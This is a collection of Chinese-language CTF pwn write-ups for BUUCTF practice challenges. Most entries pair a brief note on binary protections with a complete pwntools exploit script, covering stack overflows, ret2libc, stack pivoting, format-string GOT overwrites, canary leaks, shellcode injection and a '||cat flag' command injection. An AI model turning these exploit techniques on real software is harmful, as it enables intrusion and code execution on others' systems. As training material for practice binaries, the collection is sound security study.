1.wustctf2020_getshell
32位NX保护
存在后门函数，直接栈溢出返回到后门函数即可
from pwn import *
io=process('wustctf2020_getshell')
payload=b'a'*(0x18+4)+p32(0x804851b)
io.sendline(payload)
io.interactive()babyheap_0ctf_2017
3.jarvisoj_level3_x64
64位NX保护
存在栈溢出，典型的ret2libc。
exp
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('level3_x64')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('level3_x64')
ret=0x400499
rdi=0x4006b3
main=0x40061a
rsi_r15=0x4006b1
gdb.attach(io)
pause()
payload1=b'a'*(0x88)+p64(rdi)+p64(1)+p64(rsi_r15)+p64(elf.got['read'])+p64(1)+p64(elf.plt['write'])+p64(ret)+p64(main)
io.sendline(payload1)
read_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_ad-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x88)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)
io.interactive()4.mrctf2020_shellcode
64位RELRO全开，开启了pie
read函数读入0x400的数据
直接写入shellcode即可
exp
from pwn import *
context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('mrctf2020_shellcode')
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
5.bjdctf_2020_babyrop2
64位开启了NX保护和canary保护
gift中存在格式化字符串漏洞，可泄露canary。
vuln函数中存在栈溢出，接下来就是ret2libc了。
exp
from pwn import *
context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('bjdctf_2020_babyrop2')
elf=ELF('bjdctf_2020_babyrop2')
ret=0x4005f9
rdi=0x400993
vuln=0x400887
io.sendline(b'%7$p')
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
#gdb.attach(io)
#pause()
payload=b'a'*(0x18)+p64(canary)+b'a'*(0x8)+p64(rdi)+p64(elf.got['read'])+p64(elf.sym['puts'])+p64(vuln)
io.sendline(payload)
read_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
base=read_ad-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload1=b'a'*(0x18)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload1)
io.interactive()6.bjdctf_2020_router
64位NX保护
可以看到，选择1后，会直接将我们的输入作为system的参数，所以直接传入cat flag即可，要注意使用||或&分割，不然会传入其他数据，导致命令无法执行。
exp
from pwn import *
io=remote('node5.buuoj.cn',29872)
#io=process('./bjdctf_2020_router')
elf=ELF('bjdctf_2020_router')
io.sendline(b'1')
io.sendline(b'||cat flag')
io.interactive()7.pwnable_orw
32位，开了canary，下载这个附件居然有病毒，离谱。
orw函数禁止程序提升权限，并且禁止除open、write、read函数外的系统调用使用。
则我们需要做的是：
使用open打开flag -> 再通过read函数将flag的内容读取到某地址中 -> 最后使用write函数打印出该地址的内容（摘自偏有宸机师傅的文章）
利用pwntools提供的便利来编写shellcode。
手搓汇编代码也是不错的选择。
exp
from pwn import *
context(os = 'linux', arch = 'i386', log_level='debug')
io=remote('node5.buuoj.cn',27275)
shellcode=shellcraft.open('/flag')
shellcode+=shellcraft.read('eax','esp',100)
shellcode+=shellcraft.write(1,'esp',100)
payload=asm(shellcode)
io.send(payload)
io.interactive()8.jarvisoj_level4
32位NX保护。
明显的栈溢出。
exp
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'i386', log_level='debug')
io=process('level4')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('level4')
main=0x8048470
payload1=b'a'*(0x88+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x88+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()9.picoctf_2018_buffer overflow 1
32位，保护全关。
存在栈溢出。
存在打印flag的函数。
ret2text即可
exp
from pwn import *
io=remote('node5.buuoj.cn',25040)
payload=b'a'*(0x28+4)+p32(0x80485cb)
io.sendline(payload)
io.interactive()10.inndy_rop
32位NX保护
静态编译且存在栈溢出，我选择了使用mprotect函数。
exp
from pwn import *
#io=remote('node5.buuoj.cn',25760)
io=process('./rop')
elf=ELF('./rop')
pop3_ret=0x08062d2b
mprotect=elf.symbols['mprotect']
read=elf.symbols['read']
payload=b'a'*(0xc+4)+p32(mprotect)+p32(pop3_ret)+p32(0x080Ec000)+p32(0x1000)+p32(0x7)+p32(read)+p32(pop3_ret)+p32(0)+p32(0x080Ec000)+p32(0x1000)+p32(0x080Ec000)
io.sendline(payload)
payload1= asm(shellcraft.sh())
io.sendline(payload1)
io.interactive()11.jarvisoj_test_your_memory
32位NX保护
存在栈溢出，
找到system函数与cat flag。
注意要填写有效返回地址，不然cat的flag会在缓冲区无法打印出来。
exp
from pwn import *
io=remote('node5.buuoj.cn',25149)
#io=process('memory')
elf=ELF('memory')
#io.recvuntil(b'what???? : /n')
#hint=io.recv(9)
payload=b'a'*(0x13+4)+p32(elf.plt['system'])+p32(0x8048677)+p32(0x080487E0)
io.sendline(payload)
io.interactive()[ZJCTF 2019]EasyHeap
13.[Black Watch 入群题]PWN
32位NX保护
第一个read可在bss段构造rop链，第二个read栈迁移到bss段执行ret2libc，第二个read发送时不要使用sendline，因为sendline会多发送一个\n，超出了0x20
exp
from pwn import *
io=remote('node5.buuoj.cn',28322)
#io=process('spwn')
elf=ELF('spwn')
main=0x8048513
leave=0x8048511
#gdb.attach(io)
#pause()
payload=b'aaaa'+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload)
io.recv()
payload1=b'a'*(0x18)+p32(0x804A300)+p32(leave)
io.send(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'aaaa'+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.recv()
io.send(payload1)
io.interactive()hitcontraining_uaf
15.picoctf_2018_buffer overflow 2
32位NX保护
存在栈溢出
发现后门函数。给a1a2传入对应的值即可打印flag
exp
from pwn import *
io=remote('node5.buuoj.cn',28629)
#io=process('PicoCTF_2018_buffer_overflow_2')
elf=ELF('PicoCTF_2018_buffer_overflow_2')
payload=b'a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
io.sendline(payload)
io.interactive()16.cmcc_simplerop
32位NX保护
静态编译，且主函数存在栈溢出。
直接使用mprotext函数即可，注意ida给出的偏移是错的，偏移应该是0x1c
exp
from pwn import *
#io=remote('node5.buuoj.cn',25760)
io=process('./simplerop')
elf=ELF('./simplerop')
pop3_ret=0x806e828
mprotect=elf.symbols['mprotect']
read=elf.symbols['read']
payload=b'a'*(0x1c+4)+p32(mprotect)+p32(pop3_ret)+p32(0x080EB000)+p32(0x1000)+p32(0x7)+p32(read)+p32(pop3_ret)+p32(0)+p32(0x080EB000)+p32(0x1000)+p32(0x080EB000)
io.sendline(payload)
payload1=asm(shellcraft.sh())
io.sendline(payload1)
io.interactive()17.wustctf2020_getshell_2
32位NX保护
存在栈溢出，但可溢出空间较少
发现后门函数，虽然参数不是/bin/sh，但最后两位是sh，可以作为/bin/sh使用。
但不能直接返回到shell函数，需要调用system函数再传参，由于给出的溢出空间很小，所以我们不能调用systemplt，直接找到call system，
exp
from pwn import *
#io=remote('node5.buuoj.cn',28629)
io=process('wustctf2020_getshell_2')
elf=ELF('wustctf2020_getshell_2')
payload=b'a'*(0x18+4)+p32(0x8048529)+p32(0x08048670)
io.send(payload)
io.interactive()
18.bbys_tu_2016
32位NX保护
主函数存在栈溢出，
存在后门函数。
exp
from pwn import *
io=remote('node5.buuoj.cn',29058)
#io=process('bbys_tu_2016')
elf=ELF('bbys_tu_2016')
payload=b'a'*(0x14+4)+p32(0x804856d)
io.send(payload)
io.interactive()19.mrctf2020_easyoverflow
32位NX保护
跟第十六题是同一题。
20.xdctf2015_pwn200
32位NX保护
存在栈溢出,ret2libc解决。
exp
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'i386', log_level='debug')
io=process('bof')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('bof')
main=0x804851c
payload1=b'a'*(0x6c+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x6c+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()21.ciscn_2019_s_4
32位NX保护
栈溢出空间不够，使用栈迁移。
存在system函数
exp
from pwn import *
#io=remote('node5.buuoj.cn',29058)
io=process('ciscn_s_4')
elf=ELF('ciscn_s_4')
leave=0x8048562
payload=b'a'*(0x24)+b'b'*(0x4)
io.send(payload)
io.recvuntil('bbbb')
ebp=u32(io.recv(4).ljust(4,b'\x00'))
payload1=(b'aaaa'+p32(elf.plt['system'])+b'aaaa'+p32(ebp-0x28)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp-0x38)+p32(leave)
io.send(payload1)
io.interactive()22.wustctf2020_closed
64位NX保护
直接给出了shell，但是关闭了标准输出和标准错误，所以我们无法看到flag，可以使用exec 1>&0命令打开标准输出。
直接输入exec 1>&0，即可ls。
23.[ZJCTF 2019]Login
64位开启了NX保护和canary。
主函数中给出了账号和密码。
存在后门函数。
输入账号密码后并未给出shell，根据网上的wp，这道题的问题在于它call了一个rax，我们在输入密码时可以覆盖rax指向后门函数获得shell.
exp
from pwn import *
r=process('login')
#r = remote('node4.buuoj.cn',26621)
backdoor = 0x400e88
r.sendlineafter(': ','admin')
r.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*0x3a+p64(backdoor))
r.interactive() 24.jarvisoj_level1
32位，保护全关
给出了buf的地址
exp
from pwn import *
io=process('level1')
io.recvuntil(b'this:0x')
buf=int(io.recv(8),16)
shellcode=asm(shellcraft.sh())
payload=shellcode+b'\x00'*(0x88+0x4-len(shellcode))+p32(buf)
io.sendline(payload)
io.interactive() hitcontraining_magicheap
26.axb_2019_fmt32
32位NX保护
存在格式化字符串漏洞，并且会打印内容。
所以我们可以泄露got表，再利用fmtstr_payload，将printf的地址改为了system的地址
exp
from pwn import *
#io=remote('node5.buuoj.cn',28029)
io=process('axb_2019_fmt32')
elf=ELF('axb_2019_fmt32')
printf_got=elf.got['printf']
payload=b'a'+p32(elf.got['printf'])+b'22'+b'%8$s'
io.sendline(payload)
io.recvuntil(b'22')
printf=u32(io.recv(4))
#libc=ELF('libc-2.23.so')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
base=printf-libc.sym['printf']
print(hex(base))
system=base+libc.sym['system']
payload1=b'a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
io.sendline(payload1)
io.sendline(";/bin/sh\x00")
io.interactive()27.others_babystack
64位，RELRO全开，开启了NX保护和canary。
存在栈溢出
先利用1，3选项泄露canary，然后ret2libc即可，要注意最后要先选3退出。
exp
from pwn import *
from LibcSearcher import *
#io=remote('node5.buuoj.cn',25135)
io=process('./babystack')
elf=ELF('./babystack')
io.sendlineafter(">>",'1')
payload='a'*(0x80+8)
io.sendline(payload)
io.sendlineafter('>>','2')
io.recvuntil('a\n')
canary=u64(io.recv(7).rjust(8,b'\x00'))
pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908
payload=b'a'*(0x80+8)+p64(canary)+b'a'*(0x8)
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendlineafter(">>",'1')
io.sendline(payload)
io.sendlineafter(">>",'3')
io.recv()
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload=b'a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(binsh)+p64(system)
io.sendlineafter('>>','1')
io.sendline(payload)
io.sendlineafter('>>','3')
io.interactive()gyctf_2020_borrowstack
64位NX保护
存在栈溢出，但只能覆盖到ret，bank在bss段，于是我们可以在bss段构造rop链再利用栈迁移将栈劫持到bss段。
29.pwnable_start
32位保护全关。
只有两个函数。
大意就是调用了一个write函数和一个存在栈溢出的read函数后return。
于是我们可以写入shellcode并执行。但由于pwntolls生成的shellcode长度大于栈，所以我们需要手写一段汇编。
exp
from pwn import *
context.log_level="debug"
io=process('./start')
#p=remote('node3.buuoj.cn',26163)
payload=b'A'*0x14+p32(0x8048087)
io.sendafter("Let's start the CTF:",payload)
stack_addr=u32(io.recv(4))
shellcode=asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f;mov ebx,esp;mov al,0xb;int 0x80')
payload=b'A'*0x14+p32(stack_addr+0x14)+shellcode
io.send(payload)
io.interactive()30.picoctf_2018_shellcode
32位保护全关。静态编译
存在栈溢出。
直接写入shellcode即可。
exp
from pwn import *
io=remote('node3.buuoj.cn',29126)
io.sendline(asm(shellcraft.sh()))
io.interactive()31.ciscn_2019_s_9
32位，保护全关
直接写入shellcode，但栈空间太小了pwntolls直接生成的shellcode无法使用，于是我们自己写汇编代码写入，再用jmp esp指令跳转到shellcode即可。
exp
from pwn import *
#io=remote('node5.buuoj.cn',26697)
io=process('./ciscn_s_9')
jmp=0x08048554
shellcode=asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
payload=shellcode.ljust(0x24,b'\x00')+p32(jmp)
payload+=asm("sub esp,40;call esp")
io.sendline(payload)
io.interactive()
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
